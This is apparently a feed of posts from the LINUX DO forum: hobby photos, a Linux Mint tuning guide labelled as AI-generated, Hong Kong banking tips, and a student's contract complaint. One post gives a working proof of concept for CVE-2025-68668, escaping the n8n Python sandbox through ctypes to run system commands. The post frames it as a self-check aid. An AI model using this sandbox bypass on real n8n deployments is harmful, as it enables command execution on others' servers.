而你，我的朋友，你在干什么？

你的对手在看书
你的仇人在磨刀
你的朋友在减肥
你的隔壁在练腰
而你，我的朋友，你在干什么？😜

21 posts - 21 participants

Read full topic

via LINUX DO - 最新话题 (author: xuanfeng)

「摄影📷」当尼康遇上富士色调，是富士康！

我太喜欢这个蓝色调了

🎄🍎平安夜
📷️相机：Nikon ZF
🎞️色彩：FUJI VV & NC
📌地点：上海 淮海中路/巨鹿路

2 posts - 2 participants

Read full topic

via LINUX DO - 最新话题 (author: Ling_Jing)

Invalid media: image

成功开通GCP免费虚拟机

目前是搭了个酒馆和OpenList，走Cloudflare加速 🥰
可惜才1G内存，而且SSH延迟超高，输入命令都一卡一卡的……
3 posts - 3 participants

Read full topic

via LINUX DO - 最新话题 (author: YOAKE)

Invalid media: image

闲来没事，让gemini优化了LinuxMint，完事还挺快，嗖嗖的

⚠️⚠️⚠️ ，以下由AI生成，优化不适合所有人，不提供任何修改系统建议！！后果自负！！！

Linux Mint 优化

前言

● 目标：在保证系统稳定的前提下，大幅降低延迟、提升桌面响应速度（跟手感）并缩短开机时间。
● 适用环境：Linux Mint + rEFInd 引导, Ryzen 5600X + RX6650XT+ NVME 32GB RAM+

----------------------

第一阶段：BIOS 设置 (硬件层)

在进入系统前，确保硬件功能已完全释放。

1. 开启 Resizable BAR (Re-Bar) ● 作用：让 CPU 能一次性访问显卡的所有显存，提升游戏帧数 (5%-15%)。 ● 操作：重启进入 BIOS，找到并开启以下两项： ● Above 4G Decoding → Enabled ● Re-Size BAR Support → Enabled ● 验证方法：进入系统后终端执行 dmesg | grep "BAR="，若看到类似 BAR=8192M 即成功。

----------------------

第二阶段：文件系统优化 (Btrfs)

针对你的 NVMe SSD 和 Btrfs 分区进行性能与寿命优化。

1. 修改挂载参数 (/etc/fstab)

这将开启透明压缩（提升读取速度、减少写入）和异步修剪（防止删除文件时卡顿）。

1. 备份配置文件：

sudo cp /etc/fstab /etc/fstab.bak

2. 编辑文件：

sudo nano /etc/fstab

3. 替换内容：找到挂载 / 和 /home 的行，将其参数部分修改如下（保留 UUID 不变）： ● 根分区 (/)：

UUID=... /  btrfs  rw,noatime,compress=zstd:1,space_cache=v2,discard=async,subvol=@ 0 1

● Home分区 (/home)：

UUID=... /home  btrfs  rw,noatime,compress=zstd:1,space_cache=v2,discard=async,subvol=@home 0 2

4. 应用更改：

sudo mount -o remount /
sudo mount -o remount /home

2. 启用自动维护

防止 Btrfs 长期使用后变慢。

sudo apt install btrfsmaintenance
sudo systemctl enable --now btrfsmaintenance-refresh

----------------------

第三阶段：内核启动参数 (rEFInd 引导)

这是提升系统响应速度的核心。由于你使用 rEFInd，我们需要直接编辑其配置文件，而不是 GRUB。

目标参数

● preempt=full：强制完全抢占模式。极大降低系统延迟，让操作更丝滑。
● amd_pstate=active：启用 AMD 新一代 CPU 驱动，提升能效和响应。

操作步骤

1. 编辑 rEFInd 配置文件：

sudo nano /boot/refind_linux.conf

2. 修改/新建内容：确保文件内容如下（第一行作为默认启动项）：

"Boot with Opts"  "quiet splash preempt=full amd_pstate=active"
"Boot Safe"       "quiet splash"
"Boot Fallback"   "ro recovery nomodeset"

3. 保存：Ctrl+O 保存，Ctrl+X 退出。
4. 验证：重启后执行 cat /proc/cmdline，确保输出包含上述参数。

----------------------

第四阶段：系统内核参数调优 (Sysctl)

合并网络、内存、I/O 的优化设置到一个文件中。

1. 创建配置文件：

sudo nano /etc/sysctl.d/99-mint-optimization.conf

2. 粘贴以下所有内容：

# --- 网络优化 (开启 BBR) ---
# 提升网络吞吐量，改善网页加载和视频播放
net.core.default_qdisc = fq
net.ipv4.tcp_congestion_control = bbr

# --- 内存与脏页优化 (针对 32GB 内存) ---
# 降低使用 Swap 的倾向，优先用物理内存
vm.swappiness = 10
# 增加 VFS 缓存保留目录结构的倾向，加快文件浏览
vm.vfs_cache_pressure = 50
# 优化脏数据回写，避免大数据拷贝时系统卡死
# 32GB 内存下，限制脏数据堆积量
vm.dirty_ratio = 10
vm.dirty_background_ratio = 5

# --- 内核调试 ---
# 禁用非屏蔽中断看门狗，减少微小中断，略微省电
kernel.nmi_watchdog = 0

3. 应用配置：

sudo sysctl -p /etc/sysctl.d/99-mint-optimization.conf

----------------------

第五阶段：服务与启动速度优化

砍掉无用的等待时间，让开机直达桌面。

1. 消除最大瓶颈 (节省约 7秒)

禁止系统开机傻等网络连接。

sudo systemctl disable NetworkManager-wait-online.service

2. Docker 优化 (按需启动)

平时不占用资源，只有在终端输入 docker 命令时才瞬间激活。

sudo systemctl disable docker.service
sudo systemctl enable docker.socket

3. 移除星火商店的升级服务提示

sudo systemctl disable spark-update-notifier.service

----------------------

验证与总结

完成以上所有步骤后，请重启电脑。

验证清单

1. 启动速度：运行 systemd-analyze，查看 Boot 时间是否明显缩短。
2. 内核模式：运行 dmesg | grep "preempt:"，应显示 Dynamic Preempt: full 或类似信息。
3. AMD 驱动：运行 cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_driver，应输出 amd-pstate-epp。
4. BBR 算法：运行 sysctl net.ipv4.tcp_congestion_control，应输出 bbr。

3 posts - 3 participants

Read full topic

via LINUX DO - 最新话题 (author: dqwed)

Antigravity老卡怎么办！！！！

佬们，反重力动不动就会出现这种报错怎么办 有时候一直出现根本跑不动 :tieba_087:

1 post - 1 participant

Read full topic

via LINUX DO - 最新话题 (author: 比奇堡-派大星)

Invalid media: image

POC n8n Python代码节点沙箱绕过导致系统命令执行 (CVE-2025-68668)

前言

今天各家都通报了CVE-2025-68668 n8n Python代码节点沙箱绕过导致系统命令执行漏洞，但没有poc，特有此文，文中poc仅供合法测试，用于企业自查，切勿用于非法测试，未授权测试造成后果由使用者承担，与棉花糖公众号无关。

漏洞概述

n8n 是一款开源的可视化工作流自动化平台，广泛应用于企业自动化、数据处理和 DevOps 场景。平台采用节点式设计，支持用户通过拖拽组件构建业务流程。受影响的 Python 代码节点允许用户在工作流中执行自定义代码。该节点基于 Pyodide 技术，为代码执行提供安全的沙箱隔离环境。作为一款主流自动化工具，n8n 拥有广泛的用户基础。

漏洞原理

n8n 的 Python (Pyodide) 模式配置了黑名单，在packages/nodes-base/nodes/Code/Pyodide.ts中：

如果执行这样的代码：

import os
os.system('ls')

是会被阻止的：

但并未阻止ctypes库， ctypes 是 Python 的 FFI 库，允许 Python 代码直接调用 C 函数，他的libc有system(), fork(), execl()等函数可用，测试的时候fork(), execl()被拦截了，system()能用，于是我们可以构造出一个使用ctypes去执行系统命令的poc：

import ctypes
libc = ctypes.CDLL(None)
libc.system(b'ls')

本地环境验证：

import ctypes
import os

libc = ctypes.CDLL(None)
libc.system.argtypes = [ctypes.c_char_p]
libc.system.restype = ctypes.c_int
result = libc.system(b'echo "mht CVE-2025-68668" > /tmp/test.txt')

return {
    "vulnerability": "SUCCESS"
}

1 post - 1 participant

Read full topic

via LINUX DO - 最新话题 (author: 棉花糖)

Invalid media:
image
image
image

为什么cliproxy会同时消耗几个号的额度

不应该是一个号的额度用完了自动换到另一个号吗
还是我没配置对啊

1 post - 1 participant

Read full topic

via LINUX DO - 最新话题 (author: daemon)

Invalid media: image

gemini网页怎么找回同一对话之前重复生成的图片？

重复生成了几次，刷新之后只显示最新的一张图片，之前重复生成的记录都没有了

1 post - 1 participant

Read full topic

via LINUX DO - 最新话题 (author: liuweiqing)

佬友们，有合适的平板电脑二合一推荐么

如题，预算大概再6000-7000左右，佬们有推荐的么

28 posts - 11 participants

Read full topic

via LINUX DO - 最新话题 (author: 忘忧)

一张表看懂：SimTradeData / SimTradeLab / SimTradeML 的关系与作用

核心关系一句话

SimTradeData → 生成PTrade数据
SimTradeML → 用PTrade数据和兼容库训练PTrade可用模型
SimTradeLab → 用PTrade数据 + 信号做实盘级回测。

三者通过 PTrade 标准格式 完全无缝衔接，形成完整量化研发流水线。
github.com

GitHub - kay-ou/SimTradeData: SimTradeData is a utility library supporting...

SimTradeData is a utility library supporting SimTradeLab and simtradeML with reliable, high-quality simulated trading data for model training, backtesting, and performance evaluation.
github.com

GitHub - kay-ou/SimTradeLab: SimTradeLab is an open-source backtesting...

SimTradeLab is an open-source backtesting framework inspired by PTrade’s event-driven architecture. It features a lightweight, modular design and full syntax compatibility, enabling seamless strategy development and validation.
github.com

GitHub - kay-ou/SimTradeML: SimTradeML is the predictive engine of the...

SimTradeML is the predictive engine of the SimTrade ecosystem, turning financial data into ready‑to‑use machine learning models. It offers a lightweight training platform that outputs .pkl files fully compatible with Ptrade, seamlessly integrating into strategies in SimTradeLab and Ptrade.

2 posts - 2 participants

Read full topic

via LINUX DO - 最新话题 (author: kayou)

Invalid media:
image
image
image
image

帮研究生导师做横向，感觉被外包公司坑了...

事情是这样的，我是西南这边一个末9的CS研究生，研一。本硕都是这里的学生，和这个导师很熟悉，就接了一个MFC项目移植到LINUX系统上（其实就是信创要用麒麟操作系统），重构用QT来搞跨平台。我们这边有几个写C++QT的学生，我愿意去也是为了图接横向有每个月2K补贴。

我们相当于丙方，乙方估计为了节约成本来找学校找老师要了几个学生搞，甲方是大软件的MFC源码的提供者。开始时乙方说我们只用搞前台，他们把后端的逻辑接口都写好，我们只用照着接口文档，做好界面交互就行，结果做完前台，就乙方说要我们弄后台，分到每个学生头上原项目后台代码好几万行C++代码，一百多个文件，没注释没文档，代码管理混乱，和Windows平台耦合的很紧。

是乙方说梳理后台是我们的说好的工作，我直接问号？最搞笑的甲方的.lib库和.dll库都没有准备好对应的linux环境下.a库和.so库，我们缺啥，还要去找他们要。更更更离谱的来了，原项目的代码用的是甲方公司内部公共库的2.0版本，他们挤牙膏一般的发给我们的是3.0版本，甩给我们3.0公共库的手册，（和2.0的差异很大）让我们自己想办法读，读无注释的屎山2.0写的源代码，然后用3.0的库来重构。真的读不下去，天天晚上开会催进度。

我们最开始说好的是给我们协调硬件设备方便我们调试，现在就改口说甲方那边设备硬件短缺，我们得去现场，学校离甲方公司差不多15公里，甲方公司那边甚至都不给我们学生配几个WIFI账号，我们都得开热点在那里办公。往返都是1个小时，我后面都直接反抗，直接不去了。目前1月20号验收，最开始说好的工作量可能就1，现在估计都变成10了。

我还算是有些反抗精神的，直接在会上和乙方的人上态度了。另外几个同学有一个能力强的，就任劳任怨，他做的多，但肯定也做不完，还有两个能力差点的，进度更慢，主要就是靠说有事不来，我还每个做思想工作，说我们得团结起来，我们不能闷着吃哑巴亏，得反抗，我还带着哥几个组内部群。

我也和导师讲了，说这事甲方坑乙方，乙方坑我们丙方，我看办不成。导师了解了情况，目前也是支持我们的，让我们能做多少做多少。导师告诉我们乙方只给了三个月的钱，后面如果接着弄是没有补贴的。我是真的无法接受。但是我可能社会经验不足，假设最后真完不成扯皮环节，我也没啥经验应对。不知道各位出身社会的佬能否为我指点一下。

15 posts - 9 participants

Read full topic

via LINUX DO - 最新话题 (author: Solivagnt)

佬们 用ai编程有什么心得呢

这阵子开始使用windsurf开始写一些管理系统,自己踩了些坑,总结了些心得.
抛砖引玉吧
1.写一篇文档让ai读取后一次性写完可以为后续节省大量工作
2.如果喜欢一种对话风格 可以在Memories持久化它
3.很多任务可以让他自己写个py脚本一键运行 比如ai不能帮你做一个Excel表格 但是py脚本可以
ps:用ai学习好爽,很多时候看不明白代码让它画出数据流思路会清晰好多

3 posts - 3 participants

Read full topic

via LINUX DO - 最新话题 (author: kotro)

Google play 礼品卡一直兑换不了。
我一开始用了一个号，然后兑换不了，然后换了一个号。
现在好了，一直提示我提供原始信息，提供了他们开始说，需要使用第一次兑换的那个号提交。。。但是我两个号都提交了也一直不成功。。。

11 posts - 6 participants

Read full topic

via LINUX DO - 最新话题 (author: Lison)

「纯水」什么？女朋友送给了我一个“哪吒”？

前提概要：女朋友送了我一个跨年礼物，超级无敌飓风3

哪里来的飓风3？！！

今天中午女朋友突然让我去取快递，说她东西到了，让我帮忙拿一下！结果！是飓风3！难道这是我L站3级的奖励吗？（开玩笑，是跨年礼物）

ps:不过感觉有点可惜，因为很久不打电脑游戏了，玩的很少

本期水贴：接着上个帖子继续说，当时女朋友还让我拿了另外两个快递，一个是耳机支架，还有一个就是耳机套（？装饰品）。耳机支架不用多说，我把这个耳机套给耳机穿上之后，诡异的一幕出现了，如图所示
spoiler
总觉得熟悉，非常熟悉，但是一直说不上来是什么感觉，总之就是戴上脑袋之后总有一股“欲与天公试比高”的冲动。直到我打开了表情包：
spoiler
不能说一模一样，只能说完全复刻成功 :distorted_face:
想起来了我全部都想起来 💋
我不是什么L站的小白，我是来自东海的魔童“哪吒”! 😤
当时和女朋友说两个人还笑了好久，我也老和她吐槽送了我一个“哪吒”但是确实打心底的喜欢。
想起来就和佬友们分享一下，发出来权当博得佬友一笑，希望大家的生活多一抹红色

31 posts - 15 participants

Read full topic

via LINUX DO - 最新话题 (author: Owowula)

Invalid media: image

闲来没事，让gemini优化了LinuxMint，完事还挺快，嗖嗖的

⚠️⚠️⚠️ ，以下由AI生成，优化不适合所有人，不提供任何修改系统建议！！后果自负！！！

1 post - 1 participant

Read full topic

via LINUX DO - 最新话题 (author: dqwed)

Invalid media:
image
image
image
image
image
image

「海外支付」一篇搞定香港银行开户 全流程攻略 & 线下开户经验分享

需要带什么？

必要准备

● 身份证
● 港澳通行证
● 通关小票
● 港币现金
● 出入境证明
● 手机短信港澳台漫游包

可能需要的材料

● 地址证明 ● 水电煤账单 ● 信用卡账单 ● 户口本 ● 身份证上的地址（可能不认）
● 投资证明 ● 支付宝基金证明 ● 券商证明

[!note] 建议打印纸质版，手机展示可能不认

出入境证明获取

虚拟银行

● 众安银行（ZA Bank）
● 天星银行（AirStar Bank）
● 汇立香港（WeLab Bank）
● 蚂蚁银行（Ant Bank）

[!note] 虚拟银行均为线上开户，跟着流程走即可

[!Warning] 众安/天星申请的时候记得同时申请投资账户，离港无法申请

实体银行

汇丰香港

[!note] 目前面向大陆身份只能线上申请

----------------------

中银香港

线上申请

线下申请

● 建议预约（需要提前1-2个月）
● 公众号：中銀香港微銀行

线上开户or线下开户

● 线下开户 ● 优点：当场拿卡 ● 缺点：需要跟柜员进行千层博弈、斗智斗勇；而且预约都是凌晨放号，很难抢
● 线上开户 ● 优点：无需前往网点 ● 缺点：对两字名不友好，会卡审核；实体卡发的快递容易丢

比如你叫章三，另一个犯事的是张三
可你们的英文名都是San Zhang
申请的时候就容易寄了

注意事项📢

● 当你申请线上开户的审核过程中，是不能跑去线下开户的
● 开户顺利与否与运气有关，建议多去找经验贴与推荐分行
● 如果下雨天去，基本上银行不需要排队 ● 因为去银行的大多数是不会使用APP的当地老人，怕阴，怕湿气
● 中英混搭交流起来会比纯普通话好一些
● 开户理由一般是：投资+储蓄
● 不管线下还是线上开户，记得提前下载APP
● 香港银行的卡号与账号是两回事 ● 储蓄转账汇款用的是账号，消费则用的卡号
● 开户之后可以去APP上申请对应的万事达/VISA借记卡绑定微信使用

实战全流程

中银香港

● 预约的利眾街分行早上09:45，提前10分钟到，告诉工作人员有预约
● 柜员会让你打开中银香港APP·扫码，跟着指示就行，然后来到窗口
● 让我出示三件套：身份证、港澳通行证、通关小票
● 柜员是个戴眼镜的小哥，我说的开户理由是投资、储蓄
● 问有没有相关的投资证明，我拿出了支付宝基金流水8W（QDII纳斯达克）
● 看我身份证上地址是上海，说“来我们这开投资最多的内地人都是上海来的”
● 整个开户过程属于一个闲聊的气氛，边帮我走流程录入信息，边跟柜员聊
● 我说我是因为A股伤透了我的心，所以想来看看港股，过一会就把带卡的信函给我了
● 用建行银联卡取了1W港币存进了中银香港卡里面（但其实存个200港币就算激活了）
● 总体花了45分钟左右

虚拟银行

● 众安银行（ZA Bank）审核了一周左右
● 天星银行（AirStar Bank），审核了2天
● 汇立香港（WeLab Bank），审核了3天

[!note] 虚拟银行在申请后，即使审核失败，人也离港的情况下，依旧能二次补交材料申请

7 posts - 7 participants

Read full topic

via LINUX DO - 最新话题 (author: Ling_Jing)

Invalid media:
image
image
image
image
image
image
image
image
image
image
image

DYNAMOUS 与 KIRO的新活动即将开始

还记得最近结束的KiroHackathon吗？

最近又有新活动出来了

目前已知信息

1.总奖池17000刀

2.参赛就有免费积分

有兴趣的朋友可以看看

https://dynamous.ai/#/kiro-hackathon

4 posts - 4 participants

Read full topic

via LINUX DO - 最新话题 (author: josenlou)

Invalid media: image

接入credit支付需要过盾是什么原因？

curl -X POST https://credit.linux.do/epay/pay/submit.php
-H “Content-Type: application/x-www-form-urlencoded”
-d “pid=001”
-d “type=epay”
-d “out_trade_no=M20250101”
-d “name=Test”
-d “money=10”
-d “sign=${SIGN}”
-d “sign_type=MD5”

返回403

1 post - 1 participant

Read full topic

via LINUX DO - 最新话题 (author: 猫的于)

实测反重力 每5小时 opus-4.5 75条

1条 remainingFraction: 0.9866667

2条 remainingFraction 0.97333336

16 posts - 13 participants

Read full topic

via LINUX DO - 最新话题 (author: applefood)